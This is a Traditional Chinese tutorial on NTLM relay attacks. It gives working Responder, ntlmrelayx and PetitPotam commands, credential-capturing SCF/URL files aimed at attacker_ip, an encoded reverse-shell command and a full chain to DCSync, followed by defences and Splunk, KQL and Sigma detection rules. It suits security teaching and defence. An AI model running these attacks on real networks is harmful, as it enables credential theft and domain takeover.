前言
NTLM Relay 攻擊是內網滲透測試中最具威脅性的攻擊技術之一。攻擊者透過中間人攻擊(Man-in-the-Middle)截取 NTLM 認證請求,並將其轉發至其他目標服務,藉此取得未經授權的存取權限。這種攻擊不需要破解密碼,而是直接利用有效的認證進行橫向移動或權限提升。
本文將深入探討 NTLM Relay 攻擊的原理、各種攻擊場景、工具使用以及防禦措施。
一、NTLM 認證協定基礎
1.1 NTLM 協定概述
NTLM(NT LAN Manager)是 Microsoft 的一種質詢-回應(Challenge-Response)認證協定。雖然 Kerberos 已成為 Active Directory 的預設認證協定,但 NTLM 仍在許多場景中被使用:
- 當 Kerberos 不可用時(如使用 IP 位址而非主機名稱)
- 與舊版系統相容
- 跨網域認證時作為備用方案
- 本機帳戶認證
1.2 NTLM 認證流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| ┌─────────┐ ┌─────────┐ ┌─────────┐
│ Client │ │ Server │ │ DC │
└────┬────┘ └────┬────┘ └────┬────┘
│ │ │
│ 1. NEGOTIATE_MESSAGE │ │
│─────────────────────────────>│ │
│ │ │
│ 2. CHALLENGE_MESSAGE │ │
│ (Server Challenge) │ │
│<─────────────────────────────│ │
│ │ │
│ 3. AUTHENTICATE_MESSAGE │ │
│ (NTLMv2 Response) │ │
│─────────────────────────────>│ │
│ │ │
│ │ 4. Verify with DC │
│ │────────────────────────────>│
│ │ │
│ │ 5. Validation Result │
│ │<────────────────────────────│
│ │ │
│ 6. Access Granted/Denied │ │
│<─────────────────────────────│ │
│ │ │
|
認證步驟說明:
- NEGOTIATE_MESSAGE:Client 發送協商訊息,告知支援的認證選項
- CHALLENGE_MESSAGE:Server 回傳一個 8 位元組的隨機 Challenge
- AUTHENTICATE_MESSAGE:Client 使用密碼雜湊加密 Challenge,產生 Response
- 驗證:Server 將認證資訊傳送給 Domain Controller 驗證
- 結果:DC 驗證後回傳結果
- 存取控制:Server 根據結果允許或拒絕存取
1.3 NTLMv1 vs NTLMv2
| 特性 | NTLMv1 | NTLMv2 |
|---|
| Challenge 長度 | 8 bytes | 8 bytes (Server) + 8 bytes (Client) |
| 雜湊演算法 | DES | HMAC-MD5 |
| 安全性 | 較弱,易被破解 | 較強,但仍可被中繼 |
| 時間戳記 | 無 | 包含時間戳記 |
| Client Challenge | 無 | 有(增加防禦難度) |
二、NTLM Relay 攻擊原理
2.1 攻擊概念
NTLM Relay 攻擊的核心是利用 NTLM 認證的設計缺陷:
- 無相互認證:Client 無法驗證 Server 的身份
- Challenge 可被轉發:攻擊者可將從目標服務收到的 Challenge 轉發給受害者
- Response 可被重用:受害者產生的 Response 可被用於認證到其他服務
2.2 攻擊流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| ┌─────────┐ ┌──────────┐ ┌─────────┐
│ Victim │ │ Attacker │ │ Target │
│ (Client)│ │ (Relay) │ │ (Server)│
└────┬────┘ └────┬─────┘ └────┬────┘
│ │ │
│ 1. Connect │ │
│──────────────────>│ │
│ │ │
│ │ 2. Connect │
│ │───────────────────>│
│ │ │
│ │ 3. Challenge (C1) │
│ │<───────────────────│
│ │ │
│ 4. Challenge (C1)│ │
│<──────────────────│ │
│ │ │
│ 5. Response (R1) │ │
│──────────────────>│ │
│ │ │
│ │ 6. Response (R1) │
│ │───────────────────>│
│ │ │
│ │ 7. Access Granted │
│ │<───────────────────│
│ │ │
│ │ 8. Execute │
│ │ Commands │
│ │<──────────────────>│
|
攻擊步驟說明:
- 受害者連線到攻擊者控制的服務(透過各種誘導方式)
- 攻擊者同時連線到真正的目標伺服器
- 目標伺服器回傳 Challenge
- 攻擊者將 Challenge 轉發給受害者
- 受害者使用其密碼雜湊產生 Response
- 攻擊者將 Response 轉發給目標伺服器
- 目標伺服器驗證成功,授予存取權限
- 攻擊者以受害者身份在目標伺服器執行命令
2.3 攻擊前提條件
成功執行 NTLM Relay 攻擊需要滿足以下條件:
| 條件 | 說明 |
|---|
| 誘導受害者連線 | 需要方法讓受害者主動連線到攻擊者 |
| 目標未啟用 SMB Signing | SMB Signing 會防止中繼攻擊 |
| 目標未啟用 EPA | Extended Protection for Authentication |
| 有效的認證權限 | 受害者帳戶需在目標有權限 |
| 不同主機 | 無法中繼回同一台主機(CVE-2019-1040 例外) |
三、Responder 與 LLMNR/NBT-NS 毒化
3.1 名稱解析協定簡介
當 Windows 系統無法透過 DNS 解析主機名稱時,會嘗試使用其他協定:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| DNS 查詢失敗
│
▼
┌─────────────────┐
│ LLMNR (UDP 5355)│ ─── Link-Local Multicast Name Resolution
└────────┬────────┘
│ 失敗
▼
┌─────────────────┐
│ NBT-NS (UDP 137)│ ─── NetBIOS Name Service
└────────┬────────┘
│ 失敗
▼
┌─────────────────┐
│ mDNS (UDP 5353) │ ─── Multicast DNS
└─────────────────┘
|
3.2 LLMNR/NBT-NS 毒化原理
攻擊者可以監聽這些廣播/多播查詢,並回應偽造的 IP 位址:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| ┌─────────┐ ┌──────────┐ ┌─────────┐
│ Victim │ │ Attacker │ │ LLMNR │
│ │ │(Responder)│ │ Network │
└────┬────┘ └────┬─────┘ └────┬────┘
│ │ │
│ 1. "誰是 fileserver?" │
│ (LLMNR/NBT-NS Query) │
│──────────────────────────────────────────>
│ │ │
│ │ (攻擊者監聽到查詢) │
│ │<────────────────────│
│ │ │
│ 2. "我是 fileserver!" │
│ (偽造回應) │ │
│<───────────────────│ │
│ │ │
│ 3. SMB 連線到攻擊者 │
│───────────────────>│ │
│ │ │
│ 4. NTLM 認證交換 │ │
│<──────────────────>│ │
│ │ │
|
3.3 Responder 工具使用
Responder 是最常用的 LLMNR/NBT-NS 毒化工具。
基本用法
1
2
3
4
5
6
7
8
9
| # 啟動 Responder 進行毒化
sudo responder -I eth0
# 常用參數說明
# -I : 指定網路介面
# -w : 啟用 WPAD 代理認證
# -r : 啟用 NETBIOS 名稱服務回應
# -d : 啟用 DHCP 毒化
# -P : 強制 NTLM 認證(基本認證降級)
|
分析模式(不進行毒化)
1
2
3
4
| # 僅分析網路流量,不進行毒化
sudo responder -I eth0 -A
# 適用於偵察階段,了解網路中的名稱查詢
|
Responder 配置檔
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| # /etc/responder/Responder.conf
[Responder Core]
; 啟用/停用各項服務
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
; 毒化控制
LLMNR = On
NBT-NS = On
MDNS = On
|
輸出範例
1
2
3
4
5
| [*] [LLMNR] Poisoned answer sent to 192.168.1.100 for name FILESERVER
[*] [NBT-NS] Poisoned answer sent to 192.168.1.100 for name FILESERVER
[SMB] NTLMv2-SSP Client : 192.168.1.100
[SMB] NTLMv2-SSP Username : CORP\john.doe
[SMB] NTLMv2-SSP Hash : john.doe::CORP:1122334455667788:A1B2C3D4E5F6...:010100000000...
|
3.4 其他觸發 NTLM 認證的方法
除了 LLMNR/NBT-NS 毒化,還有其他方法可以誘導受害者發送 NTLM 認證:
WPAD 代理
1
2
3
4
5
| # 啟用 WPAD 代理
sudo responder -I eth0 -w
# WPAD 會返回惡意的 PAC 檔案
# 瀏覽器設定自動代理偵測時會觸發
|
DHCPv6 毒化
1
2
3
4
5
| # 使用 mitm6 進行 DHCPv6 毒化
sudo mitm6 -d corp.local
# 搭配 ntlmrelayx 使用
sudo ntlmrelayx.py -6 -t ldaps://dc01.corp.local -wh attacker.corp.local
|
惡意檔案
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # 建立會觸發 SMB 連線的惡意檔案
# 1. SCF 檔案
# malicious.scf
[Shell]
Command=2
IconFile=\\attacker_ip\share\icon.ico
[Taskbar]
Command=ToggleDesktop
# 2. URL 檔案
# malicious.url
[InternetShortcut]
URL=file://attacker_ip/share/file.txt
IconIndex=0
IconFile=\\attacker_ip\share\icon.ico
# 3. LNK 檔案(需要使用工具產生)
|
內部網站
1
2
3
4
5
6
7
8
9
10
| <!-- 網頁中嵌入 UNC 路徑 -->
<img src="file://attacker_ip/share/image.jpg">
<img src="\\attacker_ip\share\image.jpg">
<!-- 透過 CSS -->
<style>
body {
background-image: url('file://attacker_ip/share/bg.jpg');
}
</style>
|
四、ntlmrelayx 工具使用
4.1 工具簡介
ntlmrelayx 是 Impacket 套件中的 NTLM Relay 工具,支援多種協定的中繼攻擊。
4.2 基本用法
1
2
3
4
5
6
7
8
9
10
| # 中繼到 SMB
ntlmrelayx.py -t smb://192.168.1.10
# 中繼到多個目標(從檔案讀取)
ntlmrelayx.py -tf targets.txt
# targets.txt 內容
# smb://192.168.1.10
# smb://192.168.1.11
# ldap://192.168.1.100
|
4.3 SMB Relay 執行命令
1
2
3
4
5
6
7
8
9
10
11
12
| # 中繼成功後執行命令
ntlmrelayx.py -t smb://192.168.1.10 -c "whoami"
# 執行 PowerShell 反向 Shell
ntlmrelayx.py -t smb://192.168.1.10 \
-c "powershell -enc JABjAGwAaQBlAG4AdAAgAD0A..."
# 自動匯出 SAM 資料庫
ntlmrelayx.py -t smb://192.168.1.10 --dump-sam
# 自動匯出 LSA secrets
ntlmrelayx.py -t smb://192.168.1.10 --dump-lsa
|
4.4 互動式 SMB Shell
1
2
3
4
5
6
7
8
9
10
11
12
13
| # 啟動互動式 Shell
ntlmrelayx.py -t smb://192.168.1.10 -i
# 連線到互動式 Shell
nc 127.0.0.1 11000
# 互動式命令
# shares - 列出共享資料夾
# use SHARE - 使用共享
# cd PATH - 切換目錄
# ls - 列出檔案
# get FILE - 下載檔案
# put FILE - 上傳檔案
|
4.5 自動掃描未啟用 SMB Signing 的目標
1
2
3
4
5
6
7
8
9
| # 使用 CrackMapExec 掃描
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt
# 使用 nmap
nmap --script smb2-security-mode -p 445 192.168.1.0/24
# 輸出範例
# Host: 192.168.1.10 (workstation1)
# SMB signing enabled but not required
|
4.6 與 Responder 搭配使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| # 終端機 1:啟動 ntlmrelayx
ntlmrelayx.py -tf targets.txt -smb2support
# 終端機 2:停用 Responder 的 HTTP 和 SMB(避免衝突)
# 編輯 /etc/responder/Responder.conf
# SMB = Off
# HTTP = Off
# 然後啟動 Responder
sudo responder -I eth0
# 攻擊流程:
# 1. Responder 毒化名稱解析
# 2. 受害者連線到 Responder
# 3. Responder 轉發到 ntlmrelayx
# 4. ntlmrelayx 中繼到目標
|
五、SMB 到 LDAP Relay
5.1 攻擊場景
SMB 到 LDAP Relay 是最具威脅的中繼攻擊場景之一,可用於:
- 新增網域使用者
- 修改群組成員
- 委派權限攻擊(RBCD)
- 讀取敏感 LDAP 資訊
5.2 基本用法
1
2
3
4
5
6
7
8
| # 中繼到 LDAP
ntlmrelayx.py -t ldap://dc01.corp.local
# 中繼到 LDAPS(SSL/TLS)
ntlmrelayx.py -t ldaps://dc01.corp.local
# 自動列舉網域資訊
ntlmrelayx.py -t ldap://dc01.corp.local --dump-domain
|
5.3 新增網域使用者
1
2
3
4
5
6
7
8
9
10
| # 新增使用者(需要適當權限)
ntlmrelayx.py -t ldap://dc01.corp.local \
--add-computer EVILPC$ Password123
# 互動式模式操作
ntlmrelayx.py -t ldap://dc01.corp.local -i
# 連線後可執行 LDAP 查詢
# add_user newuser password
# add_user_to_group user group
|
5.4 Resource-Based Constrained Delegation (RBCD) 攻擊
1
2
3
4
5
6
7
8
9
10
11
12
13
| # 步驟 1:使用 LDAP Relay 設定 RBCD
ntlmrelayx.py -t ldap://dc01.corp.local \
--delegate-access \
--escalate-user attacker$
# 步驟 2:使用 impacket-getST 取得 TGS
impacket-getST -spn cifs/target.corp.local \
-impersonate Administrator \
corp.local/attacker$:Password123
# 步驟 3:使用取得的票據
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass target.corp.local
|
5.5 Shadow Credentials 攻擊
1
2
3
4
5
6
7
8
9
10
| # 設定 Shadow Credentials
ntlmrelayx.py -t ldap://dc01.corp.local --shadow-credentials
# 這會新增惡意的 KeyCredentialLink 屬性
# 然後可以使用 PKINITtools 取得 TGT
# 使用 PKINITtools
python3 gettgtpkinit.py corp.local/target$ \
-cert-pfx shadow.pfx \
-pfx-pass password target.ccache
|
六、HTTP 到 SMB Relay
6.1 攻擊場景
HTTP 到 SMB Relay 適用於:
- 釣魚攻擊(惡意連結)
- 內部網站漏洞利用
- Exchange/Outlook Web Access
6.2 基本設定
1
2
3
4
5
6
7
8
9
10
| # 啟動 HTTP 伺服器接收認證
ntlmrelayx.py -t smb://192.168.1.10 \
--http-port 80
# 支援 HTTPS
ntlmrelayx.py -t smb://192.168.1.10 \
--http-port 443 \
--https-port 443 \
--cert cert.pem \
--key key.pem
|
6.3 WPAD 代理劫持
1
2
3
4
5
6
7
8
9
10
11
| # 使用 WPAD 誘導認證
# 終端機 1:啟動 ntlmrelayx
ntlmrelayx.py -t smb://192.168.1.10 \
-wh attacker.corp.local \
--http-port 80
# 終端機 2:使用 mitm6 進行 DHCPv6 毒化
sudo mitm6 -d corp.local
# 這會讓受害者將 attacker.corp.local 設為 WPAD 伺服器
# 瀏覽網頁時會觸發 NTLM 認證
|
6.4 Exchange Web Services (EWS) 攻擊
1
2
3
4
| # 中繼到 Exchange 伺服器
ntlmrelayx.py -t https://exchange.corp.local/EWS/Exchange.asmx
# 這可以用於讀取郵件或傳送郵件
|
七、機器帳戶中繼攻擊
7.1 強制認證(Coercion)
機器帳戶(Computer Account)的認證也可以被中繼。攻擊者可以使用各種方法強制機器帳戶連線:
PetitPotam (MS-EFSRPC)
1
2
3
4
5
6
| # 使用 PetitPotam 強制認證
python3 PetitPotam.py attacker_ip target_ip
# 或使用帳戶認證
python3 PetitPotam.py -u user -p password \
-d corp.local attacker_ip target_ip
|
PrinterBug (MS-RPRN)
1
2
3
4
5
| # 使用 SpoolSample 或 printerbug.py
python3 printerbug.py corp.local/user:password@target_ip attacker_ip
# 也可使用 Impacket 的 rpcdump 確認服務是否啟用
impacket-rpcdump corp.local/user:password@target_ip | grep -i print
|
DFSCoerce (MS-DFSNM)
1
2
3
| # 使用 DFSCoerce
python3 dfscoerce.py -u user -p password \
-d corp.local attacker_ip target_ip
|
7.2 DC 到 DC Relay 攻擊
當可以強制 Domain Controller 進行認證時,可進行以下攻擊:
1
2
3
4
5
6
7
8
9
10
| # 步驟 1:使用 PetitPotam 強制 DC 認證
python3 PetitPotam.py attacker_ip dc01.corp.local
# 步驟 2:將認證中繼到另一台 DC 的 LDAP
ntlmrelayx.py -t ldap://dc02.corp.local \
--escalate-user controlled_user
# 或中繼到 AD CS(證書服務)
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp \
--adcs --template DomainController
|
7.3 ESC8 - AD CS HTTP Relay
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # 找到啟用 HTTP 的 CA
crackmapexec smb dc01.corp.local -u user -p password \
-M adcs
# 中繼到 AD CS Web Enrollment
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp \
--adcs \
--template Machine
# 取得證書後可用於認證
# 使用 PKINITtools 取得 TGT
python3 gettgtpkinit.py corp.local/DC01$ \
-cert-pfx dc01.pfx \
-pfx-pass password dc01.ccache
|
7.4 完整攻擊鏈範例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| # 目標:取得 Domain Admin 權限
# 步驟 1:掃描未簽名的 SMB 目標
crackmapexec smb 192.168.1.0/24 --gen-relay-list smb_targets.txt
# 步驟 2:確認 AD CS 是否存在
crackmapexec smb dc01.corp.local -u user -p password -M adcs
# 步驟 3:啟動 ntlmrelayx 中繼到 AD CS
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp \
--adcs --template DomainController
# 步驟 4:使用 PetitPotam 強制 DC 認證
python3 PetitPotam.py attacker_ip dc01.corp.local
# 步驟 5:取得 DC 的證書(ntlmrelayx 會自動取得)
# 輸出:[*] Got certificate for DC01$
# 步驟 6:使用證書取得 TGT
python3 gettgtpkinit.py corp.local/DC01$ \
-cert-pfx dc01.pfx -pfx-pass password dc01.ccache
# 步驟 7:使用 TGT 進行 DCSync
export KRB5CCNAME=dc01.ccache
impacket-secretsdump -k -no-pass dc01.corp.local
|
八、防禦措施
8.1 SMB Signing(SMB 簽名)
SMB Signing 可以有效防止 SMB Relay 攻擊。
透過 GPO 啟用
1
2
3
4
5
6
| 電腦設定 > Windows 設定 > 安全性設定 > 本機原則 > 安全性選項
Microsoft 網路伺服器:數位簽署通訊 (自動) = 已啟用
Microsoft 網路伺服器:數位簽署通訊 (如果用戶端同意) = 已啟用
Microsoft 網路用戶端:數位簽署通訊 (自動) = 已啟用
Microsoft 網路用戶端:數位簽署通訊 (如果伺服器同意) = 已啟用
|
透過登錄檔設定
1
2
3
4
5
6
7
8
9
10
11
| # Server 端
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" `
-Name "RequireSecuritySignature" -Value 1
# Client 端
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" `
-Name "RequireSecuritySignature" -Value 1
# 重新啟動服務
Restart-Service LanmanServer
Restart-Service LanmanWorkstation
|
驗證 SMB Signing 狀態
1
2
3
4
5
| # 使用 PowerShell 檢查
Get-SmbServerConfiguration | Select EnableSecuritySignature, RequireSecuritySignature
# 使用 nmap 遠端檢查
nmap --script smb2-security-mode -p 445 192.168.1.10
|
8.2 Extended Protection for Authentication (EPA)
EPA 可以防止 HTTP 到其他協定的 Relay 攻擊。
IIS 設定
1
2
3
4
5
6
7
8
9
10
11
12
| # 啟用 EPA
Import-Module WebAdministration
Set-WebConfigurationProperty -Filter /system.webServer/security/authentication/windowsAuthentication `
-PSPath 'IIS:\Sites\Default Web Site' `
-Name extendedProtection.tokenChecking `
-Value Require
# 設定 Channel Binding
Set-WebConfigurationProperty -Filter /system.webServer/security/authentication/windowsAuthentication `
-PSPath 'IIS:\Sites\Default Web Site' `
-Name extendedProtection.flags `
-Value "Require"
|
LDAP Channel Binding
1
2
3
4
5
6
7
8
9
| # 啟用 LDAP Channel Binding
# 1 = 支援但不要求
# 2 = 要求(建議)
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LdapEnforceChannelBinding" -Value 2
# LDAP Signing
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2
|
8.3 停用 LLMNR 和 NBT-NS
透過 GPO 停用 LLMNR
1
2
3
| 電腦設定 > 系統管理範本 > 網路 > DNS 用戶端
關閉多點傳送名稱解析 = 已啟用
|
停用 NBT-NS
1
2
3
4
5
6
7
8
9
| # 停用所有網路介面的 NetBIOS
$adapters = Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.IPEnabled }
foreach ($adapter in $adapters) {
$adapter.SetTcpipNetbios(2) # 2 = 停用
}
# 或透過登錄檔
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcpip_*" `
-Name "NetbiosOptions" -Value 2
|
8.4 AD CS 安全強化
1
2
3
4
5
6
| # 要求 HTTPS 並啟用 EPA
# 在 CA 上執行
certutil -setreg policy\EditFlags +EDITF_REQUIREHTTPS
# 停用 HTTP Web Enrollment
# 或啟用 EPA for Certificate Enrollment
|
8.5 防禦措施總覽
| 防禦措施 | 防護範圍 | 優先級 |
|---|
| SMB Signing | SMB Relay | 高 |
| LDAP Signing | LDAP Relay | 高 |
| LDAP Channel Binding | LDAP Relay | 高 |
| EPA (Extended Protection) | HTTP Relay | 高 |
| 停用 LLMNR/NBT-NS | 名稱解析毒化 | 高 |
| 停用 NTLM | 所有 NTLM 攻擊 | 中(可能影響相容性) |
| 網路隔離 | 橫向移動 | 中 |
| AD CS HTTPS + EPA | ESC8 攻擊 | 高 |
九、偵測與日誌分析
9.1 Windows 事件日誌
啟用進階稽核
1
2
3
4
5
6
7
8
9
| # 啟用 NTLM 稽核
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
# 啟用 NTLM 限制稽核
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\MSV1_0" `
-Name "AuditReceivingNTLMTraffic" -Value 2
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\MSV1_0" `
-Name "RestrictSendingNTLMTraffic" -Value 1
|
關鍵事件 ID
| 事件 ID | 來源 | 說明 |
|---|
| 4624 | Security | 登入成功 (Logon Type 3 = 網路) |
| 4625 | Security | 登入失敗 |
| 4648 | Security | 使用明確憑證登入 |
| 8001 | NTLM | NTLM 認證(需啟用稽核) |
| 8002 | NTLM | NTLM 用戶端封鎖 |
| 8003 | NTLM | NTLM DC 驗證 |
| 8004 | NTLM | NTLM 認證被拒絕 |
9.2 NTLM Relay 偵測指標
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # 偵測可疑的 NTLM 認證模式
# 1. 來源與目標 IP 不同但帳戶相同
# 2. 短時間內大量失敗的認證
# 3. 從非預期的 IP 位址進行認證
$startTime = (Get-Date).AddHours(-24)
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4624
StartTime = $startTime
} | Where-Object {
$_.Properties[8].Value -eq 3 # Logon Type 3 (Network)
-and $_.Properties[14].Value -match "NTLM" # NTLM 認證
} | Group-Object {
"$($_.Properties[5].Value)|$($_.Properties[18].Value)" # 帳戶|來源IP
} | Where-Object { $_.Count -gt 5 } |
Sort-Object Count -Descending
|
9.3 網路層偵測
1
2
3
4
5
6
7
8
9
10
11
12
13
| # 使用 Wireshark 過濾 NTLM 流量
ntlmssp
# 偵測 SMB Relay
smb2.cmd == 1 && ntlmssp.messagetype == 0x00000003
# 偵測 LLMNR 查詢
llmnr
udp.port == 5355
# 偵測 NBT-NS 查詢
nbns
udp.port == 137
|
9.4 SIEM 偵測規則
Splunk 查詢
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| # 偵測可疑的 NTLM Relay 活動
index=windows EventCode=4624 Logon_Type=3 Authentication_Package=NTLM
| eval src_dest = Source_Network_Address . "->" . TargetDomainName
| stats count by Account_Name, Source_Network_Address, ComputerName
| where count > 10
| eval risk_score = case(
count > 50, "High",
count > 20, "Medium",
true(), "Low"
)
| sort -count
# 偵測 LLMNR/NBT-NS 毒化
index=network (dest_port=5355 OR dest_port=137)
| stats count by src_ip, dest_ip, query_name
| where count > 100
|
Microsoft Sentinel (KQL)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| // 偵測可疑的 NTLM 認證
SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| summarize AuthCount = count(),
SourceIPs = make_set(IpAddress),
Computers = make_set(Computer)
by TargetUserName, bin(TimeGenerated, 1h)
| where AuthCount > 10
| where array_length(SourceIPs) > 3
| order by AuthCount desc
// 偵測 NTLM Relay 特徵
SecurityEvent
| where EventID == 4624
| where LogonType == 3
| extend TimeDiff = datetime_diff('second', TimeGenerated, prev(TimeGenerated, 1))
| where TimeDiff < 2
| summarize count() by TargetUserName, IpAddress, Computer
|
9.5 Sigma 規則
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| title: Potential NTLM Relay Attack
id: a8d8f8e0-1234-5678-9abc-def012345678
status: experimental
description: Detects potential NTLM relay attack patterns
author: Security Team
date: 2025/08/07
references:
- https://attack.mitre.org/techniques/T1557/001/
logsource:
product: windows
service: security
detection:
selection:
EventID: 4624
LogonType: 3
AuthenticationPackageName: 'NTLM'
filter:
IpAddress|startswith:
- '127.'
- '::1'
condition: selection and not filter
timeframe: 5m
threshold:
count: 20
field: TargetUserName
falsepositives:
- Legitimate NTLM authentication from applications
- Service accounts with high authentication volume
level: medium
tags:
- attack.credential_access
- attack.t1557.001
|
9.6 Honeypot 偵測
1
2
3
4
5
6
7
8
9
| # 部署假的共享資料夾偵測 Relay 攻擊
# 設定一個沒有正常存取的 SMB 共享
# 任何存取都是可疑的
# 使用 Responder 的 Analyze 模式監控
sudo responder -I eth0 -A
# 或部署專門的 Honeypot
# 如 CanaryTokens、Thinkst Canary
|
十、進階技術與注意事項
10.1 Cross-Protocol Relay
1
2
3
4
5
6
7
8
9
10
11
| # HTTP -> LDAP
ntlmrelayx.py -t ldap://dc01.corp.local --http-port 80
# SMB -> LDAP
ntlmrelayx.py -t ldaps://dc01.corp.local
# HTTP -> SMB
ntlmrelayx.py -t smb://target.corp.local --http-port 80
# 注意:某些組合需要特定條件
# 如 SMB -> LDAP 在較新的 Windows 版本中可能被阻擋
|
10.2 多目標 Relay
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| # 建立目標清單
cat > targets.txt << 'EOF'
smb://192.168.1.10
smb://192.168.1.11
ldap://dc01.corp.local
ldaps://dc02.corp.local
EOF
# 同時中繼到多個目標
ntlmrelayx.py -tf targets.txt -smb2support
# 使用 socks 代理
ntlmrelayx.py -tf targets.txt -socks
# 然後使用 proxychains
proxychains impacket-smbclient //192.168.1.10/C$
|
10.3 繞過 SMB Signing(特殊情況)
1
2
3
4
5
| # CVE-2019-1040 - Drop the MIC Attack
# 某些情況下可以移除 Message Integrity Check
ntlmrelayx.py -t ldaps://dc01.corp.local --remove-mic
# 這在某些特定版本和設定下有效
|
10.4 IPv6 攻擊
1
2
3
4
5
6
7
8
| # 使用 mitm6 進行 IPv6 攻擊
# 許多環境沒有正確設定 IPv6 安全性
# 終端機 1
sudo mitm6 -d corp.local
# 終端機 2
ntlmrelayx.py -6 -t ldaps://dc01.corp.local -wh wpad.corp.local
|
總結
NTLM Relay 攻擊是內網滲透中極具威脅性的技術,其危險性在於:
- 不需要密碼:直接利用有效的認證
- 權限提升:可以利用高權限帳戶的認證
- 橫向移動:快速在網路中擴散
- 隱蔽性:正常的認證流量,難以偵測
有效的防禦需要多層次策略:
- 預防:SMB Signing、EPA、停用 LLMNR/NBT-NS
- 偵測:NTLM 稽核、網路監控、SIEM 規則
- 回應:快速識別和阻斷攻擊、調查影響範圍
組織應定期進行滲透測試,評估對 NTLM Relay 攻擊的防禦能力,並持續改進安全架構。
參考資源